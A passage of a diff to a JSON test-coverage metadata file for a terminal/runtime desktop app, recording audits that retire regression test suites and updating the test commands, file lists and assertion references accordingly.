permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed.",
+        "Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope.",
+        "Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope.",
+        "Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope.",
+        "Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope.",
+        "Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope.",
+        "Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope.",
+        "Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope."
       ],
       "demotionRule": "Demote or quarantine if the fault harness flakes without a product or harness bug, if healthy operation exceeds one runtime watcher child, if total physical operation exceeds eight children including retiring generations, if quarantine children outlive their roots or repeat after fusing, if event delivery becomes unbounded, or if metadata/stat work returns to the serve process."
     },
@@ -13953,7 +13659,7 @@
       "providers": ["local-daemon", "ssh-daemon", "paired-runtime"],
       "coveredPlatforms": ["macos"],
       "coveredProviders": ["local-daemon", "paired-runtime"],
-      "coverageNotes": "Audit1939 (sources1934/1935): Pruned cold-parking hook and parked-watcher suites retain local timer/selection/split and exit/cancel/disposal progression. Lose supplied capability/eligibility/topology/admission and duplicate state examples recorded below. No assertion objects map to these sources here; preserve independent actual E2E receipt scopes without transferring their results to reduced units. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic policy and multiplex tests separate renderer parking from authoritative stream liveness, while runtime-graph tests cover exact parked leaf, pane runtime ID, title, multi-pane active-leaf, disposal behavior, and queued split routing to an exact cold-parked tab. A real Electron journey runs the shipped dev CLI against the app's isolated profile, proves the exact parked target alone remounts under a bounded lease, completes before the historical 10-second timeout without stealing active tab or focus, re-parks, then reveals two stable-identity panes with independent keyboard/output round trips. Focused mirror-recovery tests preserve a verified binding across pending-handle snapshots, quarantine positive PTY-identity mismatches, accept authoritative ready replacement or removal, and fence recovery to the pairing revision. Daemon attach-only tests prove a replacement runtime re-registers one active session and one history writer. Headed cold-park and headless runtime-restart paired journeys prove rendered output, input, resize convergence, process identity, authoritative close, checkpoint continuity, and post-restart history append against real daemon PTYs. The parked-leaf graph fixture now retains only PTY exit during the park handoff gap. Its standalone exact leaf/title, multi-pane active-leaf and disposal assertions were removed. web-runtime-session.test.ts no longer supplies the eager worktree-switch/post-create recovery assertion. Those alarms are lost; the remaining cold-park and recovery journeys do not establish equivalent replacement coverage. Recovery references retain old-host-to-new-tab mirroring, adoption/list recovery, blocked local ownership changes, coalescing/overtaking/global concurrency, adoption-conflict serialization and pane-resolution retries. Stable unsupported/malformed adoption tables, supplied inventory/topology/identity and verified-binding shape examples were removed. Their separate alarms are lost; remaining compositions are not equivalent coverage. Historical executed commands and results remain historical. The separate Unsubscribe-to-raw-subscriber-veto-clear sample was removed. Its exact raw-presence transition alarm is lost; remaining fake-provider streaming/attachment checks and real paired journeys do not establish equivalent replacement coverage. The deterministic second subscription is a second live connection, not a disconnect/reconnect proof. Audit1292: The entire orphan-inventory retry suite is removed. Unchanged-snapshot retry for temporarily absent, pending or attached PTYs, live-binding preservation, and consecutive-absence confirmation reset after a ready frame are lost. Mock adoption/list behavior and assembled snapshot handling did not establish actual orphan adoption or equivalent replacement coverage. Audit1342: src/renderer/src/runtime/web-session-terminal-orphan-recovery-regressions.test.ts reduced. Exact global RPC concurrency4/counts for fabricated worktrees. No equivalent replacement coverage is claimed.",
+      "coverageNotes": "Audit3362 retires the whole orphan-recovery adoption-regressions suite, including thrown-adoption/post-adoption malformed or unavailable retries, prior-binding preservation, projected sibling retirement merging and blocked local-close/group-move fencing. Its compound unit token, test-file entry and assertion reference are removed. Injected inventory/adoption projections did not demonstrate usable input delivery. Two unrelated macOS E2E receipts remain verbatim; no equivalent replacement or fresh runtime/PTY/provider/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit 3318 reduces web-session-terminal-pending-handle-recovery.test.ts, intentionally retiring disconnected retry, two-authoritative-absence retirement, explicit close-record short circuit, older-host disconnected absence, positive published-presence protection and unpublished-frame no-count alarms. Remove only the disconnected-retry assertion alias; preserve transient-retry assertion and both unchanged active Electron receipts. The remaining absence-reset interleaving is narrower, not an equivalent replacement for these six removed cases. Historical receipts retain their original scope. No fresh runtime, host/PTY/network, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit1939 (sources1934/1935): Pruned cold-parking hook and parked-watcher suites retain local timer/selection/split and exit/cancel/disposal progression. Lose supplied capability/eligibility/topology/admission and duplicate state examples recorded below. No assertion objects map to these sources here; preserve independent actual E2E receipt scopes without transferring their results to reduced units. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic policy and multiplex tests separate renderer parking from authoritative stream liveness, while runtime-graph tests cover exact parked leaf, pane runtime ID, title, multi-pane active-leaf, disposal behavior, and queued split routing to an exact cold-parked tab. A real Electron journey runs the shipped dev CLI against the app's isolated profile, proves the exact parked target alone remounts under a bounded lease, completes before the historical 10-second timeout without stealing active tab or focus, re-parks, then reveals two stable-identity panes with independent keyboard/output round trips. Focused mirror-recovery tests preserve a verified binding across pending-handle snapshots, quarantine positive PTY-identity mismatches, accept authoritative ready replacement or removal, and fence recovery to the pairing revision. Daemon attach-only tests prove a replacement runtime re-registers one active session and one history writer. Headed cold-park and headless runtime-restart paired journeys prove rendered output, input, resize convergence, process identity, authoritative close, checkpoint continuity, and post-restart history append against real daemon PTYs. The parked-leaf graph fixture now retains only PTY exit during the park handoff gap. Its standalone exact leaf/title, multi-pane active-leaf and disposal assertions were removed. web-runtime-session.test.ts no longer supplies the eager worktree-switch/post-create recovery assertion. Those alarms are lost; the remaining cold-park and recovery journeys do not establish equivalent replacement coverage. Recovery references retain old-host-to-new-tab mirroring, adoption/list recovery, blocked local ownership changes, coalescing/overtaking/global concurrency, adoption-conflict serialization and pane-resolution retries. Stable unsupported/malformed adoption tables, supplied inventory/topology/identity and verified-binding shape examples were removed. Their separate alarms are lost; remaining compositions are not equivalent coverage. Historical executed commands and results remain historical. The separate Unsubscribe-to-raw-subscriber-veto-clear sample was removed. Its exact raw-presence transition alarm is lost; remaining fake-provider streaming/attachment checks and real paired journeys do not establish equivalent replacement coverage. The deterministic second subscription is a second live connection, not a disconnect/reconnect proof. Audit1292: The entire orphan-inventory retry suite is removed. Unchanged-snapshot retry for temporarily absent, pending or attached PTYs, live-binding preservation, and consecutive-absence confirmation reset after a ready frame are lost. Mock adoption/list behavior and assembled snapshot handling did not establish actual orphan adoption or equivalent replacement coverage. Audit1342: src/renderer/src/runtime/web-session-terminal-orphan-recovery-regressions.test.ts reduced. Exact global RPC concurrency4/counts for fabricated worktrees. No equivalent replacement coverage is claimed.",
       "motivatingLinks": [
         "https://linear.app/stably/issue/STA-2854",
         "https://github.com/stablyai/orca/pull/15514",
@@ -13961,9 +13667,9 @@
         "https://github.com/stablyai/orca/issues/17297"
       ],
       "invariant": "Cold parking or restarting a host renderer/runtime never retires a live PTY's runtime-graph leaf, erases a paired viewer's last verified leaf binding merely because the host temporarily publishes pending-handle, or drops the surviving PTY's history writer. A split request for a cold-parked tab replays against its stable source leaf after exact-tab remount without switching workspaces or focusing the tab. The paired stream, input, resize, pane identity, multi-pane routing, checkpoint, and output log converge to the authoritative ready handle; the binding clears only after positive replacement, mismatch, or two consecutive authoritative absence observations without an intervening ready surface.",
-      "oracle": "Audit1939 (sources1934/1935): Pruned cold-parking hook and parked-watcher suites retain local timer/selection/split and exit/cancel/disposal progression. Lose supplied capability/eligibility/topology/admission and duplicate state examples recorded below. No assertion objects map to these sources here; preserve independent actual E2E receipt scopes without transferring their results to reduced units. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Cold-park a host-owned pane while a paired client actively views it, require the host manager to unmount, then type through the client and require the same PTY to receive and echo the token without any disconnected sample. Restart a real pinned-port headless runtime while its daemon PTY survives, observe a pending-handle snapshot, require the viewer binding never to become empty, then require rendered output, focused keyboard input, a post-recovery window resize, the pre-restart checkpoint, and post-restart output-log append to reach the same PTY and process before authoritative close clears the binding. Invoke the real `orca-dev terminal split` against a cold-parked renderer-owned tab, require only that tab to acquire and release the existing background-mount lease, complete before the historical timeout, preserve the active worktree/tab/focus, then reveal two rendered panes and type through each while retaining the stable source leaf and PTY. Deterministically require synchronous stable-leaf replay after lifecycle registration and fail closed for a missing or stale leaf. Separately publish multi-pane parked leaves with exact pane runtime IDs and require per-PTY disposal to remove only the retired leaf.",
+      "oracle": "Audit3362 retires the whole orphan-recovery adoption-regressions suite, including thrown-adoption/post-adoption malformed or unavailable retries, prior-binding preservation, projected sibling retirement merging and blocked local-close/group-move fencing. Its compound unit token, test-file entry and assertion reference are removed. Injected inventory/adoption projections did not demonstrate usable input delivery. Two unrelated macOS E2E receipts remain verbatim; no equivalent replacement or fresh runtime/PTY/provider/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit 3318 reduces web-session-terminal-pending-handle-recovery.test.ts, intentionally retiring disconnected retry, two-authoritative-absence retirement, explicit close-record short circuit, older-host disconnected absence, positive published-presence protection and unpublished-frame no-count alarms. Remove only the disconnected-retry assertion alias; preserve transient-retry assertion and both unchanged active Electron receipts. The remaining absence-reset interleaving is narrower, not an equivalent replacement for these six removed cases. Historical receipts retain their original scope. No fresh runtime, host/PTY/network, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit1939 (sources1934/1935): Pruned cold-parking hook and parked-watcher suites retain local timer/selection/split and exit/cancel/disposal progression. Lose supplied capability/eligibility/topology/admission and duplicate state examples recorded below. No assertion objects map to these sources here; preserve independent actual E2E receipt scopes without transferring their results to reduced units. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Cold-park a host-owned pane while a paired client actively views it, require the host manager to unmount, then type through the client and require the same PTY to receive and echo the token without any disconnected sample. Restart a real pinned-port headless runtime while its daemon PTY survives, observe a pending-handle snapshot, require the viewer binding never to become empty, then require rendered output, focused keyboard input, a post-recovery window resize, the pre-restart checkpoint, and post-restart output-log append to reach the same PTY and process before authoritative close clears the binding. Invoke the real `orca-dev terminal split` against a cold-parked renderer-owned tab, require only that tab to acquire and release the existing background-mount lease, complete before the historical timeout, preserve the active worktree/tab/focus, then reveal two rendered panes and type through each while retaining the stable source leaf and PTY. Deterministically require synchronous stable-leaf replay after lifecycle registration and fail closed for a missing or stale leaf. Separately publish multi-pane parked leaves with exact pane runtime IDs and require per-PTY disposal to remove only the retired leaf.",
       "commands": [
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-tab-watchers.test.ts src/renderer/src/components/terminal-pane/layout/split/terminal-pane-split-request-routing.test.ts src/renderer/src/components/terminal-pane/parking/lifecycle/use-terminal-tab-cold-parking.test.ts src/renderer/src/hooks/ipc-events/terminal-ui-routing-ipc-bridge-split.test.ts src/main/runtime/terminal/layout/orca-runtime-terminal-split-authority.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-parked-leaf.test.ts src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-mixed-version.test.ts src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery.test.ts src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery-regressions.test.ts src/renderer/src/runtime/hosted-terminals/recovery/adoption/web-session-terminal-orphan-recovery-adoption-regressions.test.ts src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts tests/e2e/host-cold-park-remote-subscriber.unit.test.ts --reporter=dot",
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-tab-watchers.test.ts src/renderer/src/components/terminal-pane/layout/split/terminal-pane-split-request-routing.test.ts src/renderer/src/components/terminal-pane/parking/lifecycle/use-terminal-tab-cold-parking.test.ts src/renderer/src/hooks/ipc-events/terminal-ui-routing-ipc-bridge-split.test.ts src/main/runtime/terminal/layout/orca-runtime-terminal-split-authority.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-parked-leaf.test.ts src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-mixed-version.test.ts src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery.test.ts src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery-regressions.test.ts src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts tests/e2e/host-cold-park-remote-subscriber.unit.test.ts --reporter=dot",
         "pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-cold-restore-reanchor.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-session-adoption.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-protocol-compatibility.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-history-recovery.test.ts --reporter=dot",
         "pnpm exec playwright test tests/e2e/host-parked-pane-remote-viewer.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
         "pnpm exec playwright test tests/e2e/terminal-parked-cli-split.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
@@ -13979,7 +13685,6 @@
         "src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-mixed-version.test.ts",
         "src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery.test.ts",
         "src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery-regressions.test.ts",
-        "src/renderer/src/runtime/hosted-terminals/recovery/adoption/web-session-terminal-orphan-recovery-adoption-regressions.test.ts",
         "src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts",
         "src/main/daemon/providers/adapter/testing/daemon-pty-adapter-cold-restore-reanchor.test.ts",
         "src/main/daemon/providers/adapter/testing/daemon-pty-adapter-session-adoption.test.ts",
@@ -14037,17 +13742,6 @@
           "file": "src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-mixed-version.test.ts",
           "assertions": ["mirrors a new CLI tab after old-host recovery when $name"]
         },
-        {
-          "file": "src/renderer/src/runtime/hosted-terminals/recovery/adoption/web-session-terminal-orphan-recovery-adoption-regressions.test.ts",
-          "assertions": [
-            "retries a transient thrown adoption on an unchanged semantic frame",
-            "retains the client epoch and retries when the post-adoption list has $failure",
-            "preserves prior terminal bindings after a post-adoption $failure and retries",
-            "merges host-projected $verdict sibling state after adoption without treating pending as exited",
-            "does not apply an adoption result after the local tab closes while adoption is blocked",
-            "does not apply an adoption result after the local tab moves groups while adoption is blocked"
-          ]
-        },
         {
           "file": "src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery.test.ts",
           "assertions": [
@@ -14057,8 +13751,7 @@
         {
           "file": "src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts",
           "assertions": [
-            "retries a transient pane-resolution failure for an unchanged replayed snapshot",
-            "retries a disconnected pane resolution for an unchanged replayed snapshot"
+            "retries a transient pane-resolution failure for an unchanged replayed snapshot"
           ]
         }
       ],
@@ -14120,7 +13813,12 @@
         "Audit1342 historical platform/provider scope before source changes: {\"coveredPlatforms\":[\"macos\",\"linux\"],\"coveredProviders\":[\"local-daemon\",\"paired-runtime\"]}. Remaining provider scope applies only to unchanged-source receipts.",
         "Audit1342 historical assertion inventory for deleted/reduced sources; not current validated assertions:\n[\n  {\n    \"file\": \"src/renderer/src/runtime/web-session-terminal-orphan-recovery-regressions.test.ts\",\n    \"assertions\": [\n      \"coalesces degraded frames to one active and one latest queued recovery\",\n      \"lets a newer fully ready frame overtake an in-flight degraded recovery\",\n      \"limits recovery RPC concurrency globally across worktrees\"\n    ]\n  }\n]",
         "Audit1939 (sources1934/1935): Pruned cold-parking hook and parked-watcher suites retain local timer/selection/split and exit/cancel/disposal progression. Lose supplied capability/eligibility/topology/admission and duplicate state examples recorded below. No assertion objects map to these sources here; preserve independent actual E2E receipt scopes without transferring their results to reduced units. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Exact retired authored alarms: 'parks paired-runtime tabs only when their exact host advertises restore'; 'skips parking scans for capability-equivalent status writes and scans membership changes'; 'keeps eviction-exempt tabs mounted when the worktree is force-parked'; 'resolves eviction exemptions once per force-park input change'; 'does not exempt a tab from a truncated malformed pane key'; 'never starts a watcher for a PTY that exited into the park handoff gap'; 'collapses the exited leaf out of the stored layout when deferring'; 'retires launch/title hints when the launch-owning parked leaf exits'; 'keeps launch ownership when only a parked shell sibling exits'; 'rejects ordinary parking for a preserved daemon with a lossy snapshot'; 'rejects a capture containing a PTY without snapshot backing'; 'accepts layout-derived candidates when the capture is stale'; 'rejects layout-derived candidates missing a leaf PTY binding'.",
-        "Terminal/runtime defining-owner cleanup retires complete parking timer, lifecycle, mocked close/disposal and render/flip/mount work-count cases under repository test policy. The retained watcher source has only two literal-oracle coverage decisions; the retained cold-parking hook source has only the layout-PTY exemption invalidation case. Lost alarms include cooldown/measure/pin wakeups, split exit/close attribution and cancellation, watcher disposal/restart, flood timer rearm, worktree verdict damping, and destroyed-transport cold restore. No equivalent replacement coverage or execution pass for the reduced cases is claimed; prior dated receipts retain their original scope."
+        "Terminal/runtime defining-owner cleanup retires complete parking timer, lifecycle, mocked close/disposal and render/flip/mount work-count cases under repository test policy. The retained watcher source has only two literal-oracle coverage decisions; the retained cold-parking hook source has only the layout-PTY exemption invalidation case. Lost alarms include cooldown/measure/pin wakeups, split exit/close attribution and cancellation, watcher disposal/restart, flood timer rearm, worktree verdict damping, and destroyed-transport cold restore. No equivalent replacement coverage or execution pass for the reduced cases is claimed; prior dated receipts retain their original scope.",
+        "Audit 3318 reduces web-session-terminal-pending-handle-recovery.test.ts, intentionally retiring disconnected retry, two-authoritative-absence retirement, explicit close-record short circuit, older-host disconnected absence, positive published-presence protection and unpublished-frame no-count alarms. Remove only the disconnected-retry assertion alias; preserve transient-retry assertion and both unchanged active Electron receipts. The remaining absence-reset interleaving is narrower, not an equivalent replacement for these six removed cases. Historical receipts retain their original scope. No fresh runtime, host/PTY/network, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed.",
+        "Audit3362 retires the whole orphan-recovery adoption-regressions suite, including thrown-adoption/post-adoption malformed or unavailable retries, prior-binding preservation, projected sibling retirement merging and blocked local-close/group-move fencing. Its compound unit token, test-file entry and assertion reference are removed. Injected inventory/adoption projections did not demonstrate usable input delivery. Two unrelated macOS E2E receipts remain verbatim; no equivalent replacement or fresh runtime/PTY/provider/UI/mobile/mixed-version/cross-platform evidence is claimed.",
+        "Audit3362 historical original commands object, preserved verbatim; retired source claims are not active evidence or replacement coverage:\n\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-tab-watchers.test.ts src/renderer/src/components/terminal-pane/layout/split/terminal-pane-split-request-routing.test.ts src/renderer/src/components/terminal-pane/parking/lifecycle/use-terminal-tab-cold-parking.test.ts src/renderer/src/hooks/ipc-events/terminal-ui-routing-ipc-bridge-split.test.ts src/main/runtime/terminal/layout/orca-runtime-terminal-split-authority.test.ts src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-parked-leaf.test.ts src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-mixed-version.test.ts src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery.test.ts src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery-regressions.test.ts src/renderer/src/runtime/hosted-terminals/recovery/adoption/web-session-terminal-orphan-recovery-adoption-regressions.test.ts src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts tests/e2e/host-cold-park-remote-subscriber.unit.test.ts --reporter=dot\"",
+        "Audit3362 historical original testFiles object, preserved verbatim; retired source claims are not active evidence or replacement coverage:\n\"src/renderer/src/runtime/hosted-terminals/recovery/adoption/web-session-terminal-orphan-recovery-adoption-regressions.test.ts\"",
+        "Audit3362 historical original assertionRefs object, preserved verbatim; retired source claims are not active evidence or replacement coverage:\n{\n          \"file\": \"src/renderer/src/runtime/hosted-terminals/recovery/adoption/web-session-terminal-orphan-recovery-adoption-regressions.test.ts\",\n          \"assertions\": [\n            \"retries a transient thrown adoption on an unchanged semantic frame\",\n            \"retains the client epoch and retries when the post-adoption list has $failure\",\n            \"preserves prior terminal bindings after a post-adoption $failure and retries\",\n            \"merges host-projected $verdict sibling state after adoption without treating pending as exited\",\n            \"does not apply an adoption result after the local tab closes while adoption is blocked\",\n            \"does not apply an adoption result after the local tab moves groups while adoption is blocked\"\n          ]\n        }"
       ],
       "demotionRule": "Demote if a live parked/restarting PTY loses its exact graph leaf or verified viewer binding, a retired PTY remains published, multi-pane identity drifts, or either routed client round trip flakes without a diagnosed cause."
     },
@@ -14422,10 +14120,10 @@
       "providers": ["paired-runtime"],
       "coveredPlatforms": ["linux"],
       "coveredProviders": ["paired-runtime"],
-      "coverageNotes": "Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved 